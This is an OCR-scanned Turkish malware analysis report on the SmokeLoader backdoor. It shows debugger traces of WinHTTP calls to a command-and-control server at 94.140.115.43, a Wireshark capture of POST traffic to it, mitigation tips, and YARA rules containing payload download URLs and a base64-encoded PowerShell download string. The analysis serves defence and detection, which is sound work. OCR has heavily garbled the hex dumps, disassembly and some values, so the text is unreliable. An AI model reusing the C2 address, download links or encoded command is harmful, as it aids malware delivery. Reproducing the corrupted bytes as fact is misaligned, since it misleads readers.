0x77061000 Image: Commit S5k RX 00004al0 1c 49 £b £8 a4 80 3e 00 75 £a 80 07 00 48 &b 5
20 2 s 8 20 £f 274 74 7 0f 2f - .
Da7isioan fnegerCommt €018 R | (00t Ty D 51 se 20 2e 91 51 38 20 54 43 2% 51 2¢ oofe. 140 Tas da/1.
) . 2 2 2 2f 2f . . . .
Dx77251000 Image: Commit L1688 RX 00004240 00 00 00 00 00 00 00 00 00 00 00 0O 00 00 00 o
077431000 Image: Commit 4h8 RX 00004250 48 89 4c 24 08 55 53 56 57 41 56 48 &b ec 48 23 H.LS$.USVWAVE..H.
0xff3c1000 Image: Commit 740k8  RX 00004260 ec 50 33 db 2d 4b 02 e8 e8 00 00 00 41 b9 19 00 .P3..K. .A...
0x7fee5531000 Image: Commit 843k RX 00004870 02 00 45 33 c0 4c &b £0 48 &8d 45 40 48 c7 cl 02 ..E3.L. H E@H
Ox7feefa51000 Image: Commit 7.792kB RX 00004880 00 00 80 49 8b df 48 89 44 24 20 ££ 15 c7 18 00 ...I. -H.D§ .....
O TFef24a 1000 Image: Commit saEkE RY 00004290 00 85 c0 75 7a 8b fb 8d 4f Of c7 45 30 20 00 00 ...uz...0..E0
DORMSILOD insgeiConmit 26 X | 0RO S0 45 39 0 8 59 44 24 20 4o b4 45 20 FLEGED-H.D6 (RE.
. . . a g8 cO 48 & 24 28 48 8 e 2
Dxﬁ?ﬁmo Image:commft 52$ RX 00004ac0 48 8b d6 48 89 44 24 20 ££ 15 92 18 00 00 48 &b H..H.DS ...... H.
Dx7=f2311000 Image: Commit BH8kE RX 000042d0 ce 85 cO 75 7 e8 £2 03 00 00 48 2d 55 38 .
0x7fef2d41000 Image: Commit 452K RX 00004ae0 4d e0 c7 45 38 2e 00 00 00 e 16 02 00 00 .
0x7fef3021000 Image: Commit 624k RX 00004a£0 2 98 48 8d 4d e0 88 Sc 05 df ff
0x7fef3361000 Image: Commit 7o kB RX 0000400 08 00 00 8b 48 48 &b 4d 40 ££ 15 41 18 00
% TFef33F1000 < m 00004b10 8b ce =& b5 03 00 00 4c &d 45 30 48 &d 15
00004b20 00 00 8k cb c7 45 30 04 01 00 00 ££ 15 27
00004E30 48 g
00004k40 cc
00004b50 8
00004060 23 cd
q 00004b70 24 c3
A 00004b20 47 i
Q  AAAAMRAA £5 an A8 £2 a8 AR £2 aA A8 AR S1 A0 24 4F A7 AR B Ta B H_
g Re-ead ][ Write ” Go to... ][16bytes per row v] [ Save... ][ Close
g

WinHttpConnect API ile hedef sunucu belirlenmektedir. Sunucu belirlendikten sonra
WinHttpSendRequest API ile sunucuya istek atmaktadir.

Bou | @ e | i ik | Clivoter | ® Kesmemoktslen | # tafiza | () vignGagrnien | SmseH | [ komutDosyes | @) semboler | <> kaynak | 4 Referanser | ' fsparcackian | o Tuter
5 44:0FB745 D3 movzx r8d,word ptr ss:[Irbp-2D] ~
48:8B55 C7 mov rdx,qword ptr ss:|[Irbp-39] [rbp-391:1L"94.140.115.43"
45:33C9 xor rad, 9d
49: 8BCD mov_rcx, rl
FF15 OE310000 call qwnrd ptr ds:[<&WinHttpConnect>]
4C:8BF0 mov rl4,rax
48:894424 48 mov qwurd ptr ss:[Irsp+48J,rax
48:8B45 5F mov rax, ﬂwcrd ptr_ss:[Irbp+5F]
4& 8945 9F mov gwor ptr ss:[Irbp-61J, rax
test rl4,rl:
v 0FB4 65020000 je 3FA413E
o 40:0FB6CE movzx ecx,sil
o 40:84F6 test sil,sil
~ 74 50 je 3FA3F4C
L FFC9 dec ecx
F ~ 75 42 jne 3FA3F42
| L B9 1D000000 mov_ecx, 1D
; L E8_4A0C0000 call 3FA4B54
i L 807D 7F 01 cmp byte ptr ss:[rbp+7F
| C 45:8B3C24 mov r15d,dword ptr ds: [rlZ]
! L 48:8BF0 mov rsi,rax
| ~ 75 1C jne 3FA3F33
| o 48:8B4D 67 mov rcx,qword ptr ss:|[frbp+67]
; 48:8D5424 40 lea rdx,qword ptr ss:[rsp+40]
| 41:81 04 mov r9b,4
; 45:8BC mov r8d,r15d
i C74424 40 1FBEA[ ov_dword ptr ss:[Irsp+40,DEADBELF
I E8 BDOCOD call 3FA4BFO
! B9 1E000000 mov_ecx.lE
J « m '
qword ptr [0000000003FAGFE8 <&winHttpConnect>]=<winhttp.wWinHttpConnect>
0000000003FA3ED4




@ oath | | ok Motisr | @ Kesme Noktalan | W8 vtz | () Y Goprian | i 5o Komut Oosyen | @) semboler | < rayiak | - Meferarsiar | W lyPorcackion | o Tutemeger | ¢ 1z
q 8865 SF 12, quord ptr <o Trbp - i
J | 4c:8965 8F oV qword per PR FPU Gizle
1836424 30 00 |and qword ptr ss: fr 4 RAX  0000000003EECE70
dc:8n0’ e nov rd,qword ptr froevor REX  00000000066£3960  L"Content-Type: application/x-www-form-urlencoded
0 : xor r8¢ RCX  0000000003EECE70
8: 8003 mov rdx, rbx rdx:L"Content-Type: application/x-wwe- | ROX  0000000006663960  L"Content-Type: application/x-www-forn-urlencoded
X : mov rex,rl4 o RBP  000000000497F931
44:897C24 28 |mov dword ptr ss:frsp: 26k, risd RSP 000000000497F860
897624 20 Imov dword p ops 208, r15d B tarerss LposT
rns D02F0000 | ca 1 aword pir iz {<winH tpSendReques t>] RDI  00000000087e8728  Lonirv
y CRITRE
000 0F84 07000000 |36 SEAALOR
0 48:8845 6F mov rax,qword ptr ss:firbp:6r R$  0000000000000000
0 ! 3302 xor edx edx edx:L"Content-Type: application/x-we R 00000000067229C0 =
49:8nce moy roxirid RI0  00000000773AC6A0  ntd11.0000000077 3AC6A0
( and_dword ptr ds:[rax], RI11  000000000497F710
( i | FELS Beroo00 g aword per <awinHttpReceiveresponses] RIZ - 0000000006722900
A test eax,eax Cl
OF84 BD000000 | je 3FA410F R14  0000000003EECE7O
41:8F 00280000 | mov.r13d, 260¢ RIS 000000000000003F Iy
xor edi,édi edi:l
| 00 A 45: 8BEF ov_r13d,r15d RIP  0000000003FA402A
| 00 FF15 55410000 f'" qword ptr ds: (<aGetProcesseaps]
oo FA40G: as7 08 Tea i x.avord ptr-ds: (rdi 6] edwiL"Content-Type: application/scrm- (e estuna =T Tl
o] 0c ) 45:88C7 mov ym.u,u : "ﬁ" 000 ee3060 LT B ErTTL £ 1 g
% : 488945 97 foiefpd SRS RS : rdx 0000000D0GGEII60 L Content-Type: application/x-www-form-ur Tencode
o o FF15 52120000 |€&ll qword ptr d:: (<&Rt1A]locateneaps] o 0
o 4C: 8865 97 moy_ri2.aword otr ss:fichp 698 : 20
' rsp+2!
qword p! rooooooooom 000 -Mvnllllvsrndkcqucsb —awinhttp. winHttpsendReques t> :zs:; 3¢
rsp+3i 7FCO
0000000003 A402A Y ADSGIF:

Baglanti kurulan komuta kontrol sunucusuna bakildiginda “/1/” dizini olmadigi gérilmektedir.
Buradaki amacin gelen cevapta, headerda bulunan payload’'u hafizaya yazmak oldugu tespit
edilmigtir.

Wou | @oam | ke | ot | @ cemerikiain | = iaten | wgncarien | =0 s omitomee | @) sevvoter | < xayak Retwanse | typugackion | o Tutamager | ¢ 12
o 0000 3 A4 41:88Ch wov eax, r13d - uch Tile or director ~CFpu Giale
. 28C7 sub i uch f r directory
. ) ]D 00280000 [ uch file or directory RAX 0000000008611E90 “No such file or director
. ) iqe RBX  00000000066E3960  L"Content-Type: App]u.\lmn/x www-form-ur lencoded
. ) u 81¢5 0028000 add RCX  0000000003EECE70
- 3 i09 8 oV uch file or director ROX  0000000008611EA9
o 000 ) l“\ 08000000 mov 8 RBP  000000000497F931
: 0003F A4 630 mu\\/sxd B ),r13d RSP 000000000497F860 & "POST"
200003 L FEX.T N RSI  0000000008476FE0 L"POST"
# 0000000003 A409% :{}E“,’;mom’ (l!l,(\u:(f::: ptr ds: [<GREIReANlocateHeaps] s T e S RDI  0000000000000019
L )0 ¥ 48:6307 movsxd rdx,edi
. H0000 3F 4C:8D4C24 40 Tea r9,qword ptr ss:frsp+a0d RE  0000000000002800
- )0000 3F Ad 41:88 00280000 |mov rid, R9 000000000497F8AO &
. 03F A 49:0307 add rdx.r15 » such file or director RI0  000000000000036D L'
; 49: BCE mov_rex;rld R11  0000000000000018
B MUEEIEEYITN  FF15 4F2F0000  call rd ptr ds:[<&mwini R12  0000000000400000
000003} 884424 40 T e R13  0000000000005000
03F 850 test_eax, e eax:"No such file or directory R14  0000000003EECE70
0000 3F P k15 0000000008611€90  “No such file or directory”
03 eax:"No such f directory
) l 3‘,‘.;’,"”" 6F RaY rCXag ::':'vl mr[ :*"w ] d S ; RIP 00000000035 A4088
! o rex, eax eax:"No such file or directory
] 850 test_eax, eax eax:"No such file or director o ORI
§ 75 AB fne 3FA407D ALl
f 4C:8865 8F wov r12,qword ptr ss:frbp-71 [T rex mmgs‘“@
f 4C:8B6D A7 mov r13,qword .m rbp 11EA
10000 3F Ad 3901 cmp dv.mr tr ds:[rex],eax eax:"No such file or director 02800
000 76 1F {76 SFA4100 A 003
aword ptr [0000000003FA7010 <&WinHttpReadDatas]=<winhttp.winittpReadData> 3F
7FCO
0000000003FA4088 rspl.
M Wireshark - Follow HTTP Stream (tcp.stream eq 3) - Yerel Ag Baglantisi
POST /1/ HTTP/1.1 -

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.8 (Windows NT 6.1; Win64; x64; Trident/7.8; rv:11.8) like Gecko
Content-Length: 63

Host: 94.148.115.43

-..k.ge......x.B-a.._~#.".5.\..=......{+.R9......5....0.7.. 2.b(HTTP/1.1 266 OK
Server: nginx

Date: Sun, @9 May 2821 23:13:@3 GMT

Content-Type: text/html; charset=windows-1251

Content-Length: 25

Connection: keep-alive

Keep-Alive: timeout=60

No such file or directoryPOST /1/ HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.@ (Windows NT 6.1; Win64; x64; Trident/7.8; rv:11.8) like Gecko
Content-Length: 63

Host: 94.146.115.43

-..k.ge. ... x.B-a. .~ "U5LN
Server: nginx

Date: Sun, 89 May 2821 23:13:83 GMT
Content-Type: text/html; charset=windows-1251
Fantent-lenath- 75

2 ciient sl 2 server pknsl 3 s

[Emjre conversation (1078 bytes) v] Show data as |ASCII -
Find: Find Mext

[Filter QOut This Stream][ Print H Save as.. H Back ][ Kapat H Yardim ]

oo {+.RO......3....0.7.. 2. b(HTTP/1.1 206@ OK

e .
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Coziim Onerileri

Backdoor turtindeki SmokelLoader zararlisindan korunmanin yollari bulunmaktadir:
- Sistemlerde glincel, guvenilir bir anti-viris yazihminin kullaniimasi,

- Gelen maillere 6zenle dikkat edilmesi, eklerin analiz edilmeden bilingsizce
acgllmamasi,

- Spam maillerin dikkate alinmamasi,

- Mutex nesnelerinin sistem Uzerinde olusturulmasi gibi ¢géztmler,

Backdoor turlindeki SmokelLoader zararlisinin sisteme bulagmasini

engelleyebilmektedir.




,’

YARA Rule

import "hash"
import "pe"
import "cuckoo"
rule FirstFile{
meta:
description="20211k049443.doc"
strings:
$str1="bit.ly/3e0R}kSj"
$commandl="LoadLibraryW"
$command2="URLDownloadToFilew"

$command3="CreateProcessAsUser"

condition:

hash.md5(0,filesize) == "67CB98B84A7DB5F2F69023B0C5C08309" or all of them

rule SecondFile{
meta:
description="pkM3T1.exe.jpg"
strings:

$str1="IAA0AE4ARQB3ACOAbwWBIAGOARQBJAHQAIAACIGAATgBJAGUAYABUAGAALgBgAFCAYABIAGAAQYBg
AEMAYABSAGAAaQBgAGUAYABOAGAAVAAdICKALgBEAG8AdwBUAEWAbwWBBAGQAZgBIJAGWARQAOACAAHSBOAHQ
AJABWAHMAOQgAVACBAJQAUAHQAZQBrAG4AaQBrAC4AaQBVACBAMgA4AGBATABXAC4AagBWAGCAHSAGACWAIAAI
CQARQBOAHYAOgBOAGUAbQBWAFWAZQBWAEQAdwBBAEMAQgBOAHAAVWAUAGUAeABIABOgIAApACAAOWAGAHM
AJABBAFIAJAAgABOgJABFAE4AdgAG6AHQAZQBIAHAAXABIAFYARAB3AEEAQWBCAHQACABXACAAZQB4AGUAHSA="

$str2="eVDWACBtpW.exe"
$str3="u.teknik.io/280LW.jpg"

$command1="DownloadFile"

condition:

hash.md5(0,filesize) == "9FBD32C6BB25F6A660696FA9830C5040" or all of them

y



,’

rule ThirdFile{

meta:
description="eVDWACBtpW.exe"

strings:
$str1="sbieldIl"
$commandl="CreateThread"
$command2="SetProp"
$command3="EnumProps"
$command4="EnumChildWindows"

$command5="SendNotifyMessage"

condition:

hash.md5(0,filesize) == "0D1334075336455A13A36FD909417556" or all of them or pe.entry_point ==
0x2931

rule ShellCode{

meta:
description="shellcode"

strings:
$command1="Sleep"
$command2="Process32First"
$command3="Process32Next"
$command4="TerminateProcess"
$str4={34 5C C5 11 C3 B2 FC B4}
$str5={D6 9F 18 63 CD 85 DD BC}
$str6={0B F7 0A 60 CC A8 F2 A1}
$str7={9B 0D C8 60 FF 81 F4 6B}
$str8={C3 92 D2 AA DF ED BC 37}
$str9={D8 EO0 BC 09 8D A7 D2 4B}
$str10={A7 A1 D2 4B 08 40 49 4E}
$str11={08 40 63 74 ?? ?? ?? ??}
$str12={8B 3B DO F6 ?? ?? ?? ??}

$str13="94.140.115.43"

condition:

hash.md5(0,filesize) == "6E671847540F9CA5CBB5F24127842D8A" or all of them or
cuckoo.network.http_request(/http:\\/94.140.115.43\.com/)

}




Fatih YILMAZ
https://www.linkedin.com/in/fatih-yilmaz-f8/
Bugra KOSE
https://www.linkedin.com/in/bugrakose/
Irem ALKASI
https://www.linkedin.com/in/iremalkasi/
Esmanur ALICAN
https:.//www.linkedin.com/infesmanur-alicann/
Caglar YUN
https://www.linkedin.com/in/caglaryun/
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